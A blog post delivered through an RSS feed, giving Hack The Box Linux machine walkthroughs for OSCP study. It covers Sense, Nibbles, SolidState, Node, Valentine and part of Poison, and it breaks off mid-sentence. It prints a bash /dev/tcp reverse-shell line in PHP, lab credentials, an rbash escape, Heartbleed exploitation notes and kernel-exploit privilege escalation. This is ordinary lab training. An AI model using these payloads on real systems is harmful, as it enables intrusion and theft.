<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Linux on MentalityXt</title><link>http://xtpol.com/tags/linux/</link><description>Recent content in Linux on MentalityXt</description><generator>Hugo -- gohugo.io</generator><language>en-us</language><lastBuildDate>Sun, 10 Nov 2024 15:15:00 +0800</lastBuildDate><atom:link href="http://xtpol.com/tags/linux/index.xml" rel="self" type="application/rss+xml"/><item><title>Hack The Box: Linux Box Notes</title><link>http://xtpol.com/p/hackthebox-linux-boxes/</link><pubDate>Sun, 10 Nov 2024 15:15:00 +0800</pubDate><guid>http://xtpol.com/p/hackthebox-linux-boxes/</guid><description>&lt;p&gt;These notes cover most of the Hack The Box machines relevant to OSCP and mostly follow my own thought process.&lt;/p&gt;&#10;&lt;h2 id="1sense"&gt;&lt;a href="#1sense" class="header-anchor"&gt;&lt;/a&gt;1.sense&#10;&lt;/h2&gt;&lt;p&gt;Information gathering:&lt;/p&gt;&#10;&lt;p&gt;(The machine has been shut down, but it looked roughly like this.)&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0001.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0002.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Found a password at https://10.10.10.60/system-users.txt&lt;/p&gt;&#10;&lt;p&gt;The default account/password is admin:pfsense&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0003.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The current username and password are rohit/pfsense&lt;/p&gt;&#10;&lt;p&gt;WhatWeb did not identify the technology. I searched the page source for &lt;code&gt;sense&lt;/code&gt; and discovered that the target was running pfSense, which led me to the steps below.&lt;/p&gt;&#10;&lt;p&gt;After logging in successfully, the home page shows version 2.1.3-RELEASE&lt;/p&gt;&#10;&lt;p&gt;There was a problem with the exploit.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0004.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The source code could not be used directly, so I modified it to construct the payload.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0005.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;SSL was probably enabled, which caused the request to fail. I worked around it by making the request manually, putting the cookie into the code, and adjusting the script. This requires some familiarity with Python.&lt;/p&gt;&#10;&lt;p&gt;Visiting it triggered a reverse shell directly. The machine has been shut down, so there is no screenshot.&lt;/p&gt;&#10;&lt;p&gt;Two flags:&lt;/p&gt;&#10;&lt;p&gt;/home/rohit/user.txt&lt;/p&gt;&#10;&lt;p&gt;/root/root.txt&lt;/p&gt;&#10;&lt;p&gt;Beginner difficulty.&lt;/p&gt;&#10;&lt;h2 id="2nibbles"&gt;&lt;a href="#2nibbles" class="header-anchor"&gt;&lt;/a&gt;2.Nibbles&#10;&lt;/h2&gt;&lt;p&gt;Information gathering:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0006.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Start with a simple scan.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0007.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Fingerprinting.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0008.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0009.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Found the default credentials.&lt;/p&gt;&#10;&lt;p&gt;admin/nibbles&lt;/p&gt;&#10;&lt;p&gt;kali comes with an msf exploit script, but for oscp you generally do not use msf scripts.&lt;/p&gt;&#10;&lt;p&gt;I found a github script, and the vulnerability description also makes it possible to build the script yourself.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://github.com/dix0nym/CVE-2015-6967" target="_blank" rel="noopener"&#10; &gt;https://github.com/dix0nym/CVE-2015-6967&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0010.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I read through the code. It mainly uploads a file through admin.php?controller=plugins&amp;amp;action=config&amp;amp;plugin=my_image&lt;/p&gt;&#10;&lt;p&gt;Then visit it to execute the file. A php file that launches a reverse shell is enough.&lt;/p&gt;&#10;&lt;p&gt;&amp;lt;?php exec(&amp;ldquo;bash -c &amp;rsquo;exec bash -i &amp;gt;&amp;amp; /dev/tcp/10.10.16.19/9999 &amp;lt;&amp;amp;1&amp;rsquo;&amp;rdquo;);?&amp;gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0011.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Received a shell as nibbler.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="http://10.10.10.75/nibbleblog/content/" target="_blank" rel="noopener"&#10; &gt;http://10.10.10.75/nibbleblog/content/&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;This was a directory traversal point. Rather than reading every file, I went straight for the configuration file, but Nibbleblog&amp;rsquo;s permission restrictions prevented me from reading it.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0012.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I found three possibilities. The most obvious exploit should be the last one, but I still tried them one by one.&lt;/p&gt;&#10;&lt;p&gt;First, create a tty.&lt;/p&gt;&#10;&lt;p&gt;python3 -c &amp;lsquo;import pty; pty.spawn(&amp;quot;/bin/bash&amp;quot;)&amp;rsquo;&lt;/p&gt;&#10;&lt;p&gt;We do not know the password, so leave this one for now.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0013.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;.nano contained nothing, so let&amp;rsquo;s go straight to the final option.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0014.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Just escalate privileges directly.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0015.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Privilege escalation complete. This was also beginner level; it was mainly about becoming familiar with the various operations.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0016.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;h2 id="3solidstate"&gt;&lt;a href="#3solidstate" class="header-anchor"&gt;&lt;/a&gt;3.solidstate&#10;&lt;/h2&gt;&lt;p&gt;I finished the box, but I&amp;rsquo;m borrowing someone else&amp;rsquo;s screenshot here because parts of my approach had problems.&lt;/p&gt;&#10;&lt;p&gt;Information gathering:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0017.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;On port 80 I only found an email-sending interface. I looked around for ages and found nothing.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0018.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I had never dealt with nntp or james-admin before.&lt;/p&gt;&#10;&lt;p&gt;smtp probably would not require a login because there was no need to send email, so at the time I focused on pop3.&lt;/p&gt;&#10;&lt;p&gt;Testing suggested that &lt;a class="link" href="mailto:webadmin@solid-state-security.com" &gt;webadmin@solid-state-security.com&lt;/a&gt; existed, but I did not know the password. I spent most of my time trying to find the pop3 password for &lt;a class="link" href="mailto:webadmin@solid-state-security.com" &gt;webadmin@solid-state-security.com&lt;/a&gt;.&lt;/p&gt;&#10;&lt;p&gt;Later, I found an exploit.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0019.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0020.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The modified script executed successfully, but according to the description, someone had to log in over ssh before the command I inserted would execute. The command I inserted launched a reverse shell.&lt;/p&gt;&#10;&lt;p&gt;So this route would not work.&lt;/p&gt;&#10;&lt;p&gt;This was my first blind spot: james remote admin on port 4555.&lt;/p&gt;&#10;&lt;p&gt;While reading the previous python script, I noticed that it defined the credentials root/root at the start.&lt;/p&gt;&#10;&lt;p&gt;The script also depended on these weak credentials to execute successfully. In other words, it logged in to port 4555 with these credentials.&lt;/p&gt;&#10;&lt;p&gt;The screenshot of the commands run after connecting directly to 4555 with telnet is gone. Roughly speaking, enter the username and password, then type help.&lt;/p&gt;&#10;&lt;p&gt;It displays many commands, including one for listing accounts. You can change the passwords for those accounts, then log in over pop3 and read the received emails. Just reset all of their passwords.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0021.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Check them one by one.&lt;/p&gt;&#10;&lt;p&gt;I eventually found a password in mindy&amp;rsquo;s account.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0022.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The basic pop3 commands are all available online.&lt;/p&gt;&#10;&lt;p&gt;At this point I had a foothold, so privilege escalation came next. I also made a mistake during privilege escalation and checked someone else&amp;rsquo;s write-up.&lt;/p&gt;&#10;&lt;p&gt;The login succeeded. As a small aside, remember how the reverse shell required someone to log in? The other listener happened to receive it.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0023.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Just stop the listener.&lt;/p&gt;&#10;&lt;p&gt;I used this guide to escape rbash. It is very detailed.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://xz.aliyun.com/t/7642?time__1311=n4%2BxnD0DyDuDgDfxGqP05fbWDO8ipm4eG%3DKQO4D" target="_blank" rel="noopener"&#10; &gt;https://xz.aliyun.com/t/7642?time__1311=n4%2BxnD0DyDuDgDfxGqP05fbWDO8ipm4eG%3DKQO4D&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;ssh &lt;a class="link" href="mailto:mindy@10.10.10.51" &gt;mindy@10.10.10.51&lt;/a&gt; -t &amp;ldquo;bash &amp;ndash;noprofile&amp;rdquo;&lt;/p&gt;&#10;&lt;p&gt;I ran into many problems while escalating privileges.&lt;/p&gt;&#10;&lt;p&gt;My approach was to start with sudo, but sudo was unavailable, and I did not know the root password needed to switch users with su.&lt;/p&gt;&#10;&lt;p&gt;I checked suid and found nothing. I also checked cron. None of the usual privilege-escalation paths turned up anything.&lt;/p&gt;&#10;&lt;p&gt;I then searched for files and only found /opt/tmp.py. This file was highly suspicious, but at the time I could not find anything linked to it. I added os.system(&amp;ldquo;id&amp;rdquo;) to check its privileges, but I could not determine whether the file was run by a scheduled task.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0024.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Obviously, it could only have the current user&amp;rsquo;s privileges, but I genuinely could not determine whether it was a scheduled task.&lt;/p&gt;&#10;&lt;p&gt;debian9 4.9.0-3-686-pae also had no privilege-escalation vulnerabilities at all.&lt;/p&gt;&#10;&lt;p&gt;I had already turned my attention to /bin/ under the user&amp;rsquo;s directory because it also had 777 permissions and was owned by root, but in practice I could not use sudo.&lt;/p&gt;&#10;&lt;p&gt;Only after reading a write-up did I discover that /opt/tmp.py was run by a scheduled task. I checked several write-ups; they found it using &lt;a class="link" href="https://github.com/DominicBreuker/pspy" target="_blank" rel="noopener"&#10; &gt;pspy&lt;/a&gt; or &lt;a class="link" href="https://linpeas.sh/" target="_blank" rel="noopener"&#10; &gt;https://linpeas.sh/&lt;/a&gt;.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0025.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Just write something that launches a reverse shell.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0026.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I had actually collected all these scripts before, but never developed the habit of using them. My thought process was still flawed, though this did help me improve it.&lt;/p&gt;&#10;&lt;h2 id="4node"&gt;&lt;a href="#4node" class="header-anchor"&gt;&lt;/a&gt;4.Node&#10;&lt;/h2&gt;&lt;p&gt;Information gathering:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0027.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0028.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I started with the web application. It was built with node.js, and I found several usernames worth noting down.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0029.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I went through the js files and found two endpoints.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="http://10.10.10.58:3000/api/users/" target="_blank" rel="noopener"&#10; &gt;http://10.10.10.58:3000/api/users/&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="http://10.10.10.58:3000/api/users/latest" target="_blank" rel="noopener"&#10; &gt;http://10.10.10.58:3000/api/users/latest&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0030.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Why did these three people take longer to appear on the home page? At first I thought their images were loading slowly over AJAX, but the real reason caught me by surprise.&lt;/p&gt;&#10;&lt;p&gt;There is actually a tool that can find these quickly, jsfinder, but oscp generally does not allow automated scripts like this, so for now I am reviewing them manually.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0031.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Only the last one did not turn up.&lt;/p&gt;&#10;&lt;p&gt;myP14ceAdm1nAcc0uNT manchester&lt;/p&gt;&#10;&lt;p&gt;tom spongebob&lt;/p&gt;&#10;&lt;p&gt;mark snowflake&lt;/p&gt;&#10;&lt;p&gt;Try each one against ssh and the website.&lt;/p&gt;&#10;&lt;p&gt;Only the administrator can download the backup. This endpoint is also present in the front-end js, but it requires authentication: /api/admin/backup&lt;/p&gt;&#10;&lt;p&gt;After decoding the backup file from base64, I found that it was a binary file. I tried many methods but could not unpack it.&lt;/p&gt;&#10;&lt;p&gt;Eventually I discovered that it was a zip file.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0032.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Decode the base64 into a file, then unzip it.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0033.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0034.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;app.js contains the mongodb password, and ssh can connect directly.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0035.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;mark:5AYRft73VtFpc84k&lt;/p&gt;&#10;&lt;p&gt;This time I uploaded a script first to escalate privileges. None of the standard privilege-escalation paths worked, so I checked the kernel and found an exp. This one was the best match.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0036.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Upload it, compile it, and run it to obtain root privileges.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0037.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;h2 id="5valentine"&gt;&lt;a href="#5valentine" class="header-anchor"&gt;&lt;/a&gt;5.valentine&#10;&lt;/h2&gt;&lt;p&gt;Information gathering:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0038.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0039.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I found an interesting file in the dev directory. After decoding it, it looked like this.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0040.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There was an aes-encrypted key and an rsa private key. It felt like they might be used for an ssh connection, and judging by the name the user should be hype. Let&amp;rsquo;s try it.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0041.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0042.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;All right, it is asking us for the key&amp;rsquo;s password.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0043.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Even rockyou did not contain the password. It felt like there was still something in the web page.&lt;/p&gt;&#10;&lt;p&gt;Judging from the notes, something needed to be decoded: make sure encoding and decoding are done on the client, fix this before going live, and do not use any encoder or decoder until it is complete.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0044.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Honestly, I was completely confused. I focused on the image, thinking it might be a technical issue, but found that the image contained nothing at all.&lt;/p&gt;&#10;&lt;p&gt;I pinned my hopes on directory brute-forcing. It was genuinely slow, but later I did find several encrypted php files.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0045.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I had actually forgotten the most important step here. Sometimes an important hint is a directory you can test manually.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0046.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;In practice, there was nothing there either. I had no ideas left.&lt;/p&gt;&#10;&lt;p&gt;I eventually had to check a write-up and discovered something I had never learned before: scanning with &amp;ndash;script vuln in nmap.&lt;/p&gt;&#10;&lt;p&gt;It scans for vulnerabilities, and one of the vulnerabilities it mentioned was Heartbleed. I knew nothing about it, so this broadened my thinking.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0047.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://stackabuse.com/how-to-exploit-the-heartbleed-bug/?ref=benheater.com" target="_blank" rel="noopener"&#10; &gt;https://stackabuse.com/how-to-exploit-the-heartbleed-bug/?ref=benheater.com&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;em&gt;# This is the packet that triggers the memory over-read.&lt;/em&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;em&gt;# The heartbeat protocol works by returning to the client the same data that was sent.&lt;/em&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;em&gt;# That is, if we send &amp;ldquo;abcd&amp;rdquo; the server will return &amp;ldquo;abcd&amp;rdquo;.&lt;/em&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;em&gt;# The flaw is triggered when we tell the server that we are sending a message that is X bytes long&lt;/em&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;em&gt;# (64 kB in this case), but we send a shorter message; OpenSSL won&amp;rsquo;t check if we really sent the X bytes of data.&lt;/em&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;em&gt;# The server will store our message, then read the X bytes of data from its memory&lt;/em&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;em&gt;# (it reads the memory region where our message is supposedly stored) and sends that read message back.&lt;/em&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;em&gt;# Because we didn&amp;rsquo;t send any message at all&lt;/em&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;em&gt;# (we just told that we sent FF FF bytes, but no message was sent after that)&lt;/em&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;em&gt;# when OpenSSL receives our message, it won&amp;rsquo;t overwrite any of OpenSSL&amp;rsquo;s memory.&lt;/em&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;em&gt;# Because of that, the received message will contain X bytes of actual OpenSSL memory.&lt;/em&gt;&lt;/p&gt;&#10;&lt;p&gt;This explains it in great detail and makes the basic logic clear. We tell the server how many bytes we sent, but in reality we did not send them. It still returns that many bytes, and because we sent no actual information, it returns private information from the server&amp;rsquo;s memory instead.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0048.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;kali includes several scripts, so I tested one of them.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0049.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I read through the script. It was very easy to use and even allowed a custom port.&lt;/p&gt;&#10;&lt;p&gt;I restarted the target, mainly because I had run nmap and the directory brute-forcing tools so much that all the important information had disappeared. I stared at it for ages, and every ua header was from nmap.&lt;/p&gt;&#10;&lt;p&gt;After looping several times and still finding nothing, I wrote a script and eventually found the important text.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0050.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0051.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0052.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It decodes to heartbleedbelied&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0053.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Another new problem. Let&amp;rsquo;s check google.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0054.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0055.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Finally got a foothold. Time to escalate privileges.&lt;/p&gt;&#10;&lt;p&gt;The first thing was still to check sudo for conventional privilege escalation, but without the password I could not use it. I started exploring files, first uploading LinEnum.sh and pspy.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0056.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;While exploring, I found that this linux version was very old and had a corresponding vulnerability, so I started trying the exp.&lt;/p&gt;&#10;&lt;p&gt;ubuntu 12.04&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0057.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I found many exp, but none of them worked.&lt;/p&gt;&#10;&lt;p&gt;So I started exploring files. The command history contained many interesting things.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0058.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;tmux -S /.devs/dev_sess&lt;/p&gt;&#10;&lt;p&gt;I ran it and immediately escalated to root.&lt;/p&gt;&#10;&lt;p&gt;Let&amp;rsquo;s understand why.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0059.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;This file was assigned to the hype group and given read and write permissions, so the socket file could be used directly for communication.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0060.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;This was actually visible here too.&lt;/p&gt;&#10;&lt;p&gt;The official difficulty was easy, but it felt closer to medium for me, mainly because I did not think of using Nmap.&lt;/p&gt;&#10;&lt;h2 id="6poison"&gt;&lt;a href="#6poison" class="header-anchor"&gt;&lt;/a&gt;6.Poison&#10;&lt;/h2&gt;&lt;p&gt;Information gathering:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0061.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There was a file inclusion point on port 80.&lt;/p&gt;&#10;&lt;p&gt;There was a lot to exploit here. First, it allowed arbitrary file reads. There was also phpinfo information, and another file exposed a password.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0062.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0063.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0064.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;With both the username and password, the login succeeded.&lt;/p&gt;&#10;&lt;p&gt;Going back to the file inclusion issue, remote code execution had been disabled.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0065.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;However, php code could still be written into the log, and including the log could also launch a reverse 